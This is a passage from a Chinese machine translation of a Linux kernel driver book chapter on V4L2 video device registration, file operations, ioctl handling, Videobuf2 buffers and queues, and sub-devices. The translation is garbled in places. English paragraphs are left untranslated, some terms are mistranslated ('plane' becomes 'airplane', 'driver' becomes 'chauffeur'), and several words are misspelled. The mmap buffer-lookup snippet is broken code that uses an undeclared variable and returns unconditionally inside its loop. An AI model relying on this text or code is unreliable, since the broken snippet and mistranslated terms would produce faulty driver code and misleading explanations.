-在前面的原型中,`type`指定要注册的网桥设备的类型。 它将被分配到`vdev->vfl_type`字段。 在本章的其余部分,我们将考虑将其设置为`VFL_TYPE_GRABBER`,因为我们处理的是视频捕获接口。 `nr`是所需的设备节点编号(*0==/dev/Video0*,*1==/dev/Video1*,...)。 但是,将其值设置为`-1`将指示内核选择第一个空闲索引并使用它。 指定固定索引对于构建精巧的*udev*规则可能很有用,因为设备节点名称是预先知道的。 要成功注册,必须满足以下要求: - -* 首先,您*必须*设置`vdev->release`函数,因为它不能为空。 如果您不需要它,可以传递 V4L2 内核的 Empty Release 方法。 -* 其次,您*必须*设置`vdev->v4l2_dev`指针;它应该指向视频设备的 V4L2 父设备。 -* 最后,但不是强制的,您应该设置`vdev->fops`和`vdev->ioctl_ops`。 - -`video_register_device()`成功时返回`0`。 但是,如果没有空闲的次要设备,如果可以找到设备节点号,或者如果设备节点注册失败,则可能会失败。 在任何一种错误情况下,它都会返回一个负错误号。 每个注册的视频设备在`/sys/class/video4linux`中创建一个目录条目,其中包含一些属性。 - -重要音符 - -除非使用内核选项`CONFIG_VIDEO_FIXED_MINOR_RANGES`编译内核,否则会动态分配次要编号。 在这种情况下,根据设备节点类型(视频、无线电等)在范围内分配次要号码,总限制为`VIDEO_NUM_DEVICES`,设置为`256`。 - -如果注册失败,则不会调用`vdev->release()`回调。 在这种情况下,如果已动态分配已分配的`video_device`结构,则需要调用来释放已分配的`video_device`结构,或者如果`video_device`嵌入其中,则需要释放您自己的结构。 - -在驱动的卸载路径上,或者不再需要视频节点时,需要在视频设备上调用`video_unregister_device()`进行注销,这样才能移除视频设备的节点: - -```sh -void video_unregister_device(struct video_device *vdev) -``` - -在前面的调用之后,设备 sysfs 条目将被删除,从而导致*udev*删除`/dev/`中的节点。 - -到目前为止,我们只讨论了注册过程中最简单的部分,但视频设备中有一些复杂的字段需要在注册之前进行初始化。 这些字段通过提供视频设备文件操作、一组连贯的 ioctl 回调以及最重要的媒体队列和内存管理接口来扩展驱动功能。 我们将在接下来的章节中讨论这些问题。 - -## 视频设备文件操作 - -视频设备(通过其驱动)是作为`/dev/`目录中的特殊文件向用户空间公开的,用户空间可以使用该文件与底层设备进行交互:流式传输数据。 为了使视频设备能够处理用户空间查询(通过系统调用),必须从驱动内部实现一组标准回调。 这些回调形成今天称为**文件操作**的。 视频设备的文件操作结构为`struct v4l2_file_operations`类型,在`include/media/v4l2-dev.h`中定义如下: - -```sh -struct v4l2_file_operations { -    struct module *owner; -    ssize_t (*read) (struct file *file, char user *buf, -                       size_t, loff_t *ppos); -    ssize_t (*write) (struct file *file, const char user *buf, -                       size_t, loff_t *ppos); -    poll_t (*poll) (struct file *file, -                      struct poll_table_struct *); -    long (*unlocked_ioctl) (struct file *file, -                          unsigned int cmd, unsigned long arg); -#ifdef CONFIG_COMPAT -     long (*compat_ioctl32) (struct file *file, -                          unsigned int cmd, unsigned long arg); -#endif -    unsigned long (*get_unmapped_area) (struct file *file, -                              unsigned long, unsigned long, -                              unsigned long, unsigned long); -    int (*mmap) (struct file *file,                  struct vm_area_struct *vma); -    int (*open) (struct file *file); -    int (*release) (struct file *file); -}; -``` - -这些可以被视为顶级回调,因为它们实际上被另一个低级设备文件 OP 调用(当然,在多次健全性检查之后),该低级设备文件 OP 这次与`vdev->cdev`字段相关联,并且在创建文件节点时用`vdev->cdev->ops = &v4l2_fops;`设置了。 这允许内核实现额外的逻辑并强制执行健全性: - -* `owner`是指向模块的指针。 大多数情况下,它是`THIS_MODULE`。 -* `open`应包含实现`open()`系统调用所需的操作。 大多数情况下,可以将其设置为`v4l2_fh_open`,这是一个 V4L2 帮助器,它简单地分配和初始化一个`v4l2_fh`结构,并将其添加到`vdev->fh_list`列表中。 但是,如果您的设备需要一些额外的初始化,请在内部执行初始化,然后调用`v4l2_fh_open(struct file * filp)`。 无论如何,你*必须*处理`v4l2_fh_open`。 -* `release` should contain operations needed to implement the `close()` system call. This callback must deal with `v4l2_fh_release`. It can be set to either of the following: - - -`vb2_fop_release`,它是一个 Videobuf2-V4L2 发布帮助器,可以清理任何正在进行的流媒体。 这个帮助器将调用`v4l2_fh_release`。 - - -您的自定义回调,撤消在`.open`中已完成的操作,并且必须直接或间接调用`v4l2_fh_release`(例如,使用`_vb2_fop_release()`帮助器,以便 V4L2 内核处理任何正在进行的流的清理)。 - -* `read`应包含实现`read()`系统调用所需的操作。 大多数情况下,Videobuf2-V4L2 辅助对象`vb2_fop_read`就足够了。 -* 在我们的情况下不需要`write`,因为它适用于输出型设备。 但是,在这里使用`vb2_fop_write`可以完成这项工作。 -* 如果使用`v4l2_ioctl_ops`,则必须将`unlocked_ioctl`设置为`video_ioctl2`。 下一节将详细说明这一点。 此 V4L2 核心帮助器是`__video_do_ioctl()`的包装器,它处理实际逻辑,并将每个 ioctl 路由到`vdev->ioctl_ops`中的适当回调,在`vdev->ioctl_ops`中定义了各个 ioctl 处理程序。 -* `mmap`应包含实现`mmap()`系统调用所需的操作。 大多数情况下,Videobuf2-V4L2 帮助器`vb2_fop_mmap`就足够了,除非在执行映射之前需要额外的元素。 内核中的视频缓冲区(响应`VIDIOC_REQBUFS`ioctl 而分配)在访问用户空间之前必须单独映射。 这就是这个`.mmap`回调的目的,它只需将一个且只有一个视频缓冲区映射到用户空间。 使用`VIDIOC_QUERYBUF`ioctl 向内核查询将缓冲区映射到用户空间所需的信息。 给定`vma`参数,您可以获取指向相应视频缓冲区的指针,如下所示: - - ```sh - struct vb2_queue *q = container_of_myqueue_wrapper(); - unsigned long off = vma->vm_pgoff << PAGE_SHIFT; - struct vb2_buffer *vb; - unsigned int buffer = 0, plane = 0; - for (i = 0; i < q->num_buffers; i++) { -     struct vb2_buffer *buf = q->bufs[i]; -     /* The below assume we are on a single-planar system, -      * else we would have loop over each plane -      */ -     if (buf->planes[0].m.offset == off) -         break; -     return i; - } - videobuf_queue_unlock(myqueue); - ``` - -* `poll`应包含实现`poll()`系统调用所需的操作。 大多数情况下,Videobuf2-V4L2 辅助对象`vb2_fop_call`就足够了。 如果这个帮助器不知道如何锁定(`queue->lock`和`vdev->lock`都没有设置),那么您不应该使用它,但是您应该编写自己的帮助器,它可以依赖于不处理锁定的`vb2_poll()`帮助器。 - -在这两个回调中,您都可以使用`v4l2_fh_is_singular_file()`帮助器来检查给定的文件是否是为关联的`video_device`打开的唯一文件句柄。 它的替代方案是`v4l2_fh_is_singular()`,这次依赖于`v4l2_fh`: - -```sh -int v4l2_fh_is_singular_file(struct file *filp) -int v4l2_fh_is_singular(struct v4l2_fh *fh); -``` - -综上所述,以下是捕获视频设备驱动的文件操作可能是什么样子: - -```sh -static int foo_vdev_open(struct file *file) -{ -    struct mydev_state_struct *foo_dev = video_drvdata(file); -    int ret; -[...] -    if (!v4l2_fh_is_singular_file(file)) -        goto fh_rel; -[...] -fh_rel: -    if (ret) -        v4l2_fh_release(file); -    return ret; -} -static int foo_vdev_release(struct file *file) -{ -    struct mydev_state_struct *foo_dev = video_drvdata(file); -    bool fh_singular; -    int ret; -[...] -    fh_singular = v4l2_fh_is_singular_file(file); -    ret = _vb2_fop_release(file, NULL); -    if (fh_singular) -        /* do something */ -        [...] -    return ret; -} -static const struct v4l2_file_operations foo_fops = { -    .owner = THIS_MODULE, -    .open = foo_vdev_open, -    .release = foo_vdev_release, -    .unlocked_ioctl = video_ioctl2, -    .poll = vb2_fop_poll, -    .mmap = vb2_fop_mmap, -    .read = vb2_fop_read, -}; -``` - -您可以观察到,在前面的块中,我们在fiLE 操作中只使用了标准的核心助手。 - -重要音符 - -Mem2mem 设备可以使用其相关的基于 V4L2-mem2mem 的助手。 看看`drivers/media/v4l2-core/v4l2-mem2mem.c`。 - -## V4L2 ioctl 处理 - -让我们更多地讨论一下关于`v4l2_file_operations.unlocked_ioctl`回调。 正如我们在上一节中看到的,它应该设置为`video_ioctl2`。 `video_ioctl2`负责内核和用户空间之间的参数复制,并在将每个单独的`ioctl()`调用分派给驱动之前执行一些健全性检查(例如,ioctl 命令是否有效),这以`video_device->ioctl_ops`字段中的回调条目结束,该字段的类型为`struct v4l2_ioctl_ops`。 - -`struct v4l2_ioctl_ops`结构包含 V4L2 框架中每个可能的 ioctl 的回调。 但是,您应该仅根据设备的类型和驱动的功能来设置这些设置。 结构中的每个回调都映射一个 ioctl,Strc 定义如下: - -```sh -struct v4l2_ioctl_ops { -    /* VIDIOC_QUERYCAP handler */ -    int (*vidioc_querycap)(struct file *file, void *fh, -                            struct v4l2_capability *cap); -    /* Buffer handlers */ -    int (*vidioc_reqbufs)(struct file *file, void *fh, -                           struct v4l2_requestbuffers *b); -    int (*vidioc_querybuf)(struct file *file, void *fh, -                            struct v4l2_buffer *b); -    int (*vidioc_qbuf)(struct file *file, void *fh, -                        struct v4l2_buffer *b); -    int (*vidioc_expbuf)(struct file *file, void *fh, -                          struct v4l2_exportbuffer *e); -    int (*vidioc_dqbuf)(struct file *file, void *fh, -                          struct v4l2_buffer *b); -    int (*vidioc_create_bufs)(struct file *file, void *fh, -                               struct v4l2_create_buffers *b); -    int (*vidioc_prepare_buf)(struct file *file, void *fh, -                               struct v4l2_buffer *b); -    int (*vidioc_overlay)(struct file *file, void *fh, -                           unsigned int i); -[...] -}; -``` - -该结构有 120 多个条目,描述了每个可能的 V4L2ioctl 的操作,无论设备类型是什么。 在前面的摘录中,只列出了我们可能感兴趣的内容。 我们不会在此结构中引入回调。 但是,当您达到[*第 9 章*](09.html#_idTextAnchor396),*从用户空间*利用 V4L2API 时,我鼓励您回到这个结构,事情就会变得更加清晰。 - -也就是说,因为您提供了回调,所以它仍然可以访问。 在某些情况下,您可能希望忽略在`v4l2_ioctl_ops`中指定的回调。 如果基于外部因素(例如,正在使用哪张卡)想要关闭`v4l2_ioctl_ops`中的某些特性,而不必创建新的结构,则往往需要这样做。 为了让内核知道这一点并忽略回调,您应该在调用`video_register_device()`之前对有问题的 ioctl 命令调用`v4l2_disable_ioctl()`: - -```sh -v4l2_disable_ioctl (vdev, cmd) -``` - -下面是一个示例:`v4l2_disable_ioctl(&tea->vd, VIDIOC_S_HW_FREQ_SEEK);`。 上一次调用会将`VIDIOC_S_HW_FREQ_SEEK`ioctl 标记为在`tea->vd`视频设备上忽略。 - -## Videobuf2 接口和接口 - -使用 Videobuf2 框架连接 V4L2 驱动器层和用户空间层,提供一个可以分配和管理视频帧数据的数据交换通道。 Videobuf2 内存管理后端是完全模块化的。 这允许插入具有非标准内存管理要求的设备和平台的自定义内存管理例程,而无需更改高级缓冲区管理功能和 API。 该框架提供以下内容: - -* 实现流式 I/O V4L2ioctls 和文件操作 -* 高级视频缓冲器、视频队列和状态管理功能 -* 视频缓冲存储器分配和管理 - -Videobuf2(或简称为 vb2)促进了驱动开发,减少了驱动的代码大小,并有助于在驱动中正确和一致地实现 V4L2API。 然后,V4L2 驱动器负责从传感器(通常通过某种 DMA 控制器)获取视频数据,并馈送到由 VB2 框架管理的缓冲器。 - -该框架实现了许多 ioctl 功能,包括缓冲区分配、入队、出队和数据流控制。 然后,它不再推荐任何特定于供应商的解决方案,从而显著减少了媒体框架代码大小,并简化了编写 V4L2 设备驱动所需的工作。 - -重要音符 - -每个 Videobuf2 帮助器、API 和数据结构都以`vb2_`为前缀,而版本 1(Videobuf,在`drivers/media/v4l2-core/videobuf-core.c`中定义)使用前缀`videobuf_`。 - -此框架包括许多概念,其中一些人可能对很熟悉,但仍需要详细讨论这些概念。 - -### 缓冲区的概念 - -缓冲器是在 VB2 和用户空间之间以次单次交换的数据单位。 从用户空间代码的观点来看,V4L2 缓冲器表示对应于视频帧的数据(例如,在捕获设备的情况下)。 流需要在内核和用户空间之间交换缓冲区。 VB2 使用`struct vb2_buffer`数据结构来描述视频缓冲区。 该结构在`include/media/videobuf2-core.h`中定义如下: - -```sh -struct vb2_buffer { -    struct vb2_queue *vb2_queue; -    unsigned int index; -    unsigned int type; -    unsigned int memory; -    unsigned int num_planes; -    u64 timestamp; -    /* private: internal use only -     * -     * state: current buffer state; do not change -     * queued_entry: entry on the queued buffers list, which -     * holds all buffers queued from userspace -     * done_entry: entry on the list that stores all buffers -     * ready to be dequeued to userspace -     * vb2_plane: per-plane information; do not change -     */ -    enum vb2_buffer_state state; -    struct vb2_plane planes[VB2_MAX_PLANES]; -    struct list_head queued_entry; -    struct list_head done_entry; -[...] -}; -``` - -在前面的 data 结构中,那些我们不感兴趣的字段已被删除。 其余字段定义如下: - -* `vb2_queue`是此缓冲区所属的`vb2`队列。 这将把我们带到下一个部分,在那里我们将根据 Videobuf2 介绍队列的概念。 -* `index`是此缓冲区的 ID。 -* `type`是缓冲区的类型。 它由`vb2`在分配时设置。 它与它所属的队列类型相匹配:`vb->type = q->type`。 -* `memory` is the type of memory model used to make the buffers visible on user spaces. The value of this field is of the `enum vb2_memory` type, which matches its V4L2 user space counterpart, `enum v4l2_memory`. This field is set by `vb2` at the time of buffer allocation and reports the vb2 equivalent of the user space value assigned to the `.memory` field of `v4l2_requestbuffers` given to `vIDIOC_REQBUFS`. Possible values include the following: - - -`VB2_MEMORY_MMAP`:用户空间分配的等价物是`V4L2_MEMORY_MMAP`,表示缓冲区用于内存映射 I/O。 - - -`VB2_MEMORY_USERPTR`:在用户空间分配的等价物是`V4L2_MEMORY_USERPTR`,表示用户在用户空间分配缓冲区,并通过`v4l2_buffer`的`buf.m.userptr`成员传递指针。 V4L2 中`USERPTR`的目的是允许用户直接或静态地传递用户空间中由`malloc()`分配的缓冲区。 - - -`VB2_MEMORY_DMABUF`。 在用户空间中分配的等价物是`V4L2_MEMORY_DMABUF`,表示内存是由驱动分配的,并作为 DMABUF 文件处理程序导出。 此 DMABUF 文件处理程序可以导入到另一个驱动中。 - -* `state` is of the `enum vb2_buffer_state` type and represents the current state of this video buffer. Drivers can use the `void vb2_buffer_done(struct vb2_buffer *vb, enum vb2_buffer_state state)` API in order to change this state. Possible state values include the following: - - -`VB2_BUF_STATE_DEQUEUED`表示缓冲区受用户空间控制。 它由`VIDIOC_REQBUFS`ioctl 执行路径中的 Videobuf2 内核设置。 - - -`VB2_BUF_STATE_PREPARING`表示在 Videobuf2 中准备缓冲区。 该标志由 Videobuf2 内核在支持它的驱动的`VIDIOC_PREPARE_BUF`ioctl 的执行路径中设置。 - - -`VB2_BUF_STATE_QUEUED`表示缓冲区已在 Videobuf 中排队,但尚未在驱动中排队。 这是由`VIDIOC_QBUF`ioctl 执行路径中的 Videobuf2 内核设置的。 但是,如果驱动无法启动流,则必须将所有缓冲区的状态设置为`VB2_BUF_STATE_QUEUED`。 这相当于将缓冲区返回给 Videobuf2。 - - -`VB2_BUF_STATE_ACTIVE`表示缓冲区实际上在驱动中排队,可能用于硬件操作(例如 DMA)。 驱动不需要设置此标志,因为它是由内核在调用 Buffer`.buf_queue`回调之前设置的。 - - -`VB2_BUF_STATE_DONE`表示驱动应在此缓冲区上 DMA 操作的成功路径上设置此标志,以便将缓冲区传递给 Vb2。 这对 VideoBuf2 内核意味着缓冲区从驱动返回到 VideoBuf,但尚未出列到用户空间。 - - -`VB2_BUF_STATE_ERROR`与上面的相同,但缓冲区上的操作以错误结束,出队时将报告给用户空间。 - -如果在此之后,缓冲技能的概念对您来说很复杂,那么我建议您在回到这里之前,先阅读用户空间中的第 9 章,*,利用 V4L2API 来阅读[*章*](09.html#_idTextAnchor396),*。** - -#### 飞机的概念 - -有些设备需要将每个输入或输出视频帧的数据放入不连续的内存缓冲区。 在这种情况下,必须使用一个以上的存储器地址来寻址一个视频帧,换言之,每个“平面”一个指针。 平面是当前帧(或帧的一块)的子缓冲区。 - -因此,在单平面系统中,平面表示整个视频帧,而在多平面系统中,平面仅表示视频帧 I 的一块。 由于内存是不连续的,多平面设备使用分散/聚集 DMA。 - -### 队列的概念 - -队列是流的中心元素,也是网桥驱动的 DMA 引擎相关部分。 事实上,它是司机介绍自己认识 Videobuf2 的要素。 它帮助我们实现了驱动中的数据流管理模块。 队列通过以下结构表示: - -```sh -struct vb2_queue { -    unsigned int type; -    unsigned int io_modes; -    struct device *dev; -    struct mutex *lock; -    const struct vb2_ops *ops; -    const struct vb2_mem_ops *mem_ops; -    const struct vb2_buf_ops *buf_ops; -    u32 min_buffers_needed; -    gfp_t gfp_flags; -    void *drv_priv; -    struct vb2_buffer *bufs[VB2_MAX_FRAME]; -    unsigned int num_buffers; -    /* Lots of private and debug stuff omitted */ -    [...] -}; -``` - -应将结构置零,并填写前面的字段。 以下是结构中每个元素的含义: - -* `type`是缓冲区类型。 应使用`enum v4l2_buf_type`中存在的值之一(在`include/uapi/linux/videodev2.h`中定义)进行设置。 在我们的情况下,这一定是`V4L2_BUF_TYPE_VIDEO_CAPTURE`。 -* `io_modes` is a bitmask describing what types of buffers can be handled. Possible values include the following: - - -`VB2_MMAP`:在内核中分配并通过`mmap()`访问的缓冲区;vmalloc‘ed 和连续的 DMA 缓冲区通常属于这种类型。 - - -`VB2_USERPTR`:这是针对用户空间中分配的缓冲区。 通常,只有可以执行分散/聚集 I/O 的设备才能处理用户空间缓冲区。 但是,不支持巨型页面的连续 I/O。 有趣的是,Videobuf2 支持用户空间分配的连续缓冲区。 不过,实现这些功能的唯一方法是使用某种特殊机制,例如树外 Android`pmem`驱动。 - - -`VB2_READ, VB2_WRITE`:这些是通过`read()`和`write()`系统调用提供的用户空间缓冲区。 - -* `lock`是流 ioctls 的序列化锁的互斥体。 通常使用与`video_device->lock`相同的互斥锁来设置此锁,`video_device->lock`是主要的序列化锁。 但是,如果某些非流 ioctls 需要很长时间才能执行,那么您可能希望在这里使用不同的锁,以防止在等待另一个操作完成时`VIDIOC_DQBUF`被阻塞。 -* `ops`表示特定于驱动的回调,以设置此队列并控制流操作。 它属于`struct vb2_ops`类型。 我们将在下一节详细研究此结构。 -* The `mem_ops` field is where the driver tells videobuf2 what kind of buffers it is actually using; it should be set to one of `vb2_vmalloc_memops`, `vb2_dma_contig_memops`, or `vb2_dma_sg_memops`. These are the three basic types of buffer allocation videobuf2 implements: - - -第一个是**vmalloc Buffers**分配器,通过为缓冲区分配内存`vmalloc()`,因此在内核空间中实际上是连续的,不能保证物理上是连续的。 - - -第二个是**连续 DMA 缓冲区**分配器,通过该分配器,内存在内存中是物理连续的,通常是因为硬件不能对任何其他类型的缓冲区执行 DMA。 该分配器由一致的 DMA 分配支持。 - - -最后一个是**S/G DMA Buffers**分配器,其中缓冲区分散在内存中。 如果硬件可以执行分散/聚集 DMA,则这是方式。 显然,这涉及到流式 DMA。 - - 根据使用的内存分配器的类型,驱动应包括以下三个标头之一: - - ```sh - /* => vb_queue->mem_ops = &vb2_vmalloc_memops;*/ - #include - /* => vb_queue->mem_ops = &vb2_dma_contig_memops; */ - #include - /* => vb_queue->mem_ops = &vb2_dma_sg_memops; */ - #include - ``` - - 到目前为止,还没有出现任何现有分配器都不能为设备执行此工作的情况。 但是,如果出现这种情况,驱动作者可以通过`vb2_mem_ops`创建一组自定义操作,以满足该需求。 这是没有限制的。 - -* 如果没有设置,您可能不关心`buf_ops`,因为它是由`vb2`内核提供的。 但是,它包含在用户空间和内核空间之间传递缓冲区信息的回调。 -* `min_buffers_needed`是开始流之前所需的最小缓冲区数。 如果该值不为零,则在用户空间至少排队了那么多个缓冲区之前,不会调用`vb2_queue->ops->start_streaming`。 换句话说,它表示 DMA 引擎在启动之前需要具有的可用缓冲区数量。 -* `bufs`是指向此队列中的个缓冲区的指针数组。 它的最大值为`VB2_MAX_FRAME`,对应于`vb2`内核允许的每个队列的最大缓冲区数。 它被设置为`32`,这已经是一个相当可观的值了。 -* `num_buffers`是队列中已分配/已使用的缓冲区数量。 - -#### 特定于驱动的fic++流回调 - -网桥驱动需要公开用于管理缓冲区队列的个函数集合,包括队列和缓冲区初始化。 这些函数将处理来自用户空间的缓冲区分配、排队和流相关请求。 这可以通过设置`struct vb2_ops`的实例来实现,定义如下: - -```sh -struct vb2_ops { -    int (*queue_setup)(struct vb2_queue *q, -                       unsigned int *num_buffers,                        unsigned int *num_planes, -                       unsigned int sizes[],                        struct device *alloc_devs[]); -    void (*wait_prepare)(struct vb2_queue *q); -    void (*wait_finish)(struct vb2_queue *q); -    int (*buf_init)(struct vb2_buffer *vb); -    int (*buf_prepare)(struct vb2_buffer *vb); -    void (*buf_finish)(struct vb2_buffer *vb); -    void (*buf_cleanup)(struct vb2_buffer *vb); -    int (*start_streaming)(struct vb2_queue *q,                            unsigned int count); -    void (*stop_streaming)(struct vb2_queue *q); -    void (*buf_queue)(struct vb2_buffer *vb); -}; -``` - -下面是此结构中每个回调的用途: - -* `queue_setup`: This callback function is called by the driver's `v4l2_ioctl_ops.vidioc_reqbufs()` method (in response to `VIDIOC_REQBUFS` and `VIDIOC_CREATE_BUFS` ioctls) to adjust the buffer count and size. This callback's goal is to inform videobuf2-core of how many buffers and planes per buffer it requires, as well as the size and allocator context for each plane. In other words, the chosen vb2 memory allocator calls this method for negotiating with the driver about the number of buffers and planes per buffer to be used during streaming. `3` is a good choice for the minimum number of buffers since most DMA engines need at least `2` buffers in the queue. The parameters of this callback are defined as follows: - - -`q`是`vb2_queue`指针。 - - -`num_buffers`是指向应用请求的缓冲区数量的指针。 然后,驱动应设置在此`*num_buffers`字段中分配的准予缓冲区数量。 由于此回调可以在协商过程中调用两次,因此在设置此回调之前,您应该检查`queue->num_buffers`以了解已分配的缓冲区数量。 - - -`num_planes`包含保持帧所需的不同视频平面的数量。 这应该由司机设置。 - - -`sizes`包含每个平面的大小(以字节为单位)。 对于单平面系统,只应设置`size[0]`。 - - -`alloc_devs`是可选的每平面分配器特定的设备阵列。 将其视为指向分配上下文的指针。 - - 下面是`queue_setup`回调的一个示例: - - ```sh - /* Setup vb_queue minimum buffer requirements */ - static int rcar_drif_queue_setup(struct vb2_queue *vq, -                              unsigned int *num_buffers,                             unsigned int *num_planes, -                              unsigned int sizes[],                              struct device *alloc_devs[]) - { -     struct rcar_drif_sdr *sdr = vb2_get_drv_priv(vq); -     /* Need at least 16 buffers */ -     if (vq->num_buffers + *num_buffers < 16) -         *num_buffers = 16 - vq->num_buffers; -     *num_planes = 1; -     sizes[0] = PAGE_ALIGN(sdr->fmt->buffersize); -     rdrif_dbg(sdr, "num_bufs %d sizes[0] %d\n", -               *num_buffers, sizes[0]); -     return 0; - } - ``` - -* 在为缓冲区分配内存后,或在新的`USERPTR`缓冲区排队后,对缓冲区调用一次`buf_init`。 例如,这可用于固定页面、验证邻接性和设置 IOMMU 映射。 -* 在`VIDIOC_QBUF`ioctl 的执行路径上调用`buf_prepare`。 它应该为排队到 DMA 引擎准备缓冲区。 准备缓冲器,并将用户空间虚拟地址或用户地址转换为物理地址。 -* 在每个`DQBUF`ioctl 上调用`buf_finish`。 例如,它可以用于高速缓存同步和从退回缓冲区复制回来。 -* 在释放/释放内存之前调用`buf_cleanup`。 它可以用来解映像内存之类的东西。 -* `buf_queue`:Videobuf2 内核在调用此回调之前设置缓冲区中的`VB2_BUF_STATE_ACTIVE`标志。 但是,它是代表`VIDIOC_QBUF`ioctl 调用的。 用户空间一个接一个地对缓冲区进行排队。 此外,缓冲器排队的速度可以快于网桥设备将数据从捕获设备抓取到缓冲器的速度。 同时,在发出`VIDIOC_DQBUF`之前,可能会多次调用`VIDIOC_QBUF`。 建议驱动维护一个排队等待 DMA 的缓冲区列表,以便在任何 DMA 完成的情况下,填充的缓冲区将从列表中移出,同时通过填充其时间戳并将缓冲区添加到 Videobuf2 的完成缓冲区列表来提供给`vb2`内核,并在必要时更新 DMA 指针。 粗略地说,这个回调函数应该向驱动 DMA 队列添加一个缓冲区,并在该缓冲区上启动 DMA。 与此同时,驱动通常会重新实现自己的缓冲区数据结构,该结构构建在通用的`vb2_v4l2_buffer`结构之上,但为了解决我们刚才描述的排队问题,添加了一个列表。 以下是这样的自定义缓冲区数据结构的示例: - - ```sh - struct dcmi_buf { -    struct vb2_v4l2_buffer vb; -    dma_addr_t paddr; /* the bus address of this buffer */ -    size_t size; -    struct list_head list; /* list entry for tracking    buffers */ - }; - ``` - -* `start_streaming`启动用于流的 DMA 引擎。 在开始流式处理之前,您必须首先检查是否已将最小数量的缓冲区排队。 如果没有,您应该返回`-ENOBUFS`,`vb2`框架将在下一次缓冲区排队时再次调用此函数,直到有足够的缓冲区可用来实际启动 DMA 引擎。 如果支持以下各项,还应在子设备上启用流式处理:`v4l2_subdev_call(subdev, video, s_stream, 1)`。 您应该从缓冲区队列中获取下一帧,并在其上启动 DMA。 通常,中断发生在捕获新帧之后。 处理程序的工作是从内部缓冲区列表中移除新帧(使用`list_del()`),并将其返回给`vb2`框架(通过`vb2_buffer_done()`),同时更新序列计数器域和时间戳。 -* `stop_streaming`停止所有挂起的 DMA 操作,停止 DMA 引擎,并释放 DMA 通道资源。如果支持以下操作,还应禁用子设备上的流:`v4l2_subdev_call(subdev, video, s_stream, 0)`。 必要时禁用中断。 由于驱动维护了一个排队等待 DMA 的缓冲器列表,所以该列表中排队的所有缓冲器必须在错误状态下返回给 VB2。 - -#### 初始化和释放 VB2 队列 - -为了让驱动完成队列初始化,它应该调用`vb2_queue_init()`函数,给定队列作为参数。 但是,`vb2_queue`结构应该首先由驱动分配。 此外,在调用此函数之前,驱动必须已清除其内容,并为一些必需条目设置初始值。 这些必需的值是`q->ops`、`q->mem_ops`、`q->type`和`q->io_modes`。 否则,队列初始化将失败,如下面的`vb2_core_queue_init()`函数所示,该函数被调用,并从`vb2_queue_init()`内检查其返回值: - -```sh -int vb2_core_queue_init(struct vb2_queue *q) -{ -    /* -     * Sanity check -     */ -    if (WARN_ON(!q) || WARN_ON(!q->ops) ||          WARN_ON(!q->mem_ops) || -         WARN_ON(!q->type) || WARN_ON(!q->io_modes) || -         WARN_ON(!q->ops->queue_setup) ||          WARN_ON(!q->ops->buf_queue)) -        return -EINVAL; -    INIT_LIST_HEAD(&q->queued_list); -    INIT_LIST_HEAD(&q->done_list); -    spin_lock_init(&q->done_lock); -    mutex_init(&q->mmap_lock); -    init_waitqueue_head(&q->done_wq); -    q->memory = VB2_MEMORY_UNKNOWN; -    if (q->buf_struct_size == 0) -        q->buf_struct_size = sizeof(struct vb2_buffer); -    if (q->bidirectional) -        q->dma_dir = DMA_BIDIRECTIONAL; -    else -        q->dma_dir = q->is_output ? DMA_TO_DEVICE :         DMA_FROM_DEVICE; -    return 0; -} -``` - -前面的摘录显示了内核中`vb2_core_queue_init()`的主体。 这个内部 API 是一个纯粹的基于的 c 初始化方法,它只是执行一些健全性检查,并初始化基本的数据结构(列表、互斥锁和自旋锁)。 - -# 子设备的概念 - -在 V4L2 子系统的早期,只有两种主要的数据结构: - -* `struct video_device`:这是`/dev/X`出现的结构。 -* `struct vb2_queue`:这负责缓冲区管理。 - -在那个没有那么多 IP 块嵌入视频网桥的时代,这就足够了。 如今,SoC 中的图像块嵌入了如此多的 IP 块,每个 IP 块都通过卸载特定的任务来发挥特定的作用,如图像大小调整、图像转换和视频去隔行功能。 为了使用模块化方法来解决这种多样性,引入了子器件的概念。 这为硬件的软件建模带来了模块化方法,允许将每个硬件组件抽象为软件块。 - -使用这种方法,参与处理管道的每个 IP 块(桥接设备除外)都被视为一个子设备,甚至是摄像机传感器本身。 桥接视频设备节点具有`/dev/videoX`模式,而它们一侧的子设备使用`/dev/v4l-subdevX`模式(假设它们在创建节点之前设置了适当的标志)。 - -重要音符 - -为了更好地理解桥接设备和子设备之间的区别,您可以将桥接设备视为处理管道中的最后一个元素,有时是负责 DMA 事务的元素。 一个例子是 Atmel-**ISC**(**图像传感器控制器**),它从`drivers/media/platform/atmel/atmel-isc.c`:`Sensor-->PFE-->WB-->CFA-->CC-->GAM-->CSC-->CBC-->SUB-->RLP-->DMA`中的驱动中提取。 我们鼓励您在此驱动中查看每个元素的含义。 - -从编码的角度来看,驱动应该包括``,它定义了`struct v4l2_subdev`结构,该结构是用于实例化内核中的子设备的抽象数据结构。 该结构定义如下: - -```sh -struct v4l2_subdev { -#if defined(CONFIG_MEDIA_CONTROLLER) -    struct media_entity entity; -#endif -    struct list_head list; -    struct module *owner; -    bool owner_v4l2_dev; -    u32 flags; -    struct v4l2_device *v4l2_dev; -    const struct v4l2_subdev_ops *ops; -[...] -    struct v4l2_ctrl_handler *ctrl_handler; -    char name[V4L2_SUBDEV_NAME_SIZE]; -    u32 grp_id; void *dev_priv; -    void *host_priv; -    struct video_device *devnode; -    struct device *dev; -    struct fwnode_handle *fwnode; -    struct device_node *of_node; -    struct list_head async_list; -    struct v4l2_async_subdev *asd; -    struct v4l2_async_notifier *notifier; -    struct v4l2_async_notifier *subdev_notifier; -    struct v4l2_subdev_platform_data *pdata; -}; -``` - -此结构的`entity`字段将在下一章[*第 8 章*](08.html#_idTextAnchor342)*中讨论,并与 V4L2 异步和媒体控制器框架*集成。 与此同时,有一些我们不感兴趣的领域已经被移除。 - -但是,结构中的其他字段定义如下: - -* `list`属于`list_head`类型,内核使用它将当前子设备插入其所属的`v4l2_device`维护的子设备列表中。 -* `owner`由核心设置,并表示拥有该结构的模块。 -* `flags` represents the sub-device flags that the driver can set and that can have the following values: - - -`V4L2_SUBDEV_FL_IS_I2C`:如果该子器件实际上是 I2C 器件,则应设置该标志。 - - -如果该子设备是 SPI 设备,则应设置`V4L2_SUBDEV_FL_IS_SPI`。 - - -如果子设备需要设备节点(著名的`/dev/v4l-subdevX`条目),则应设置`V4L2_SUBDEV_FL_HAS_DEVNODE`。 使用该标志的 API 是`v4l2_device_register_subdev_nodes()`,它将在稍后讨论,并由网桥调用以创建子设备节点条目。 - - -`V4L2_SUBDEV_FL_HAS_EVENTS`表示该子设备生成事件。 - -* `v4l2_dev`由内核在子设备注册上设置,是指向该子设备所属的`struct 4l2_device`的指针。 -* `ops`是可选的。 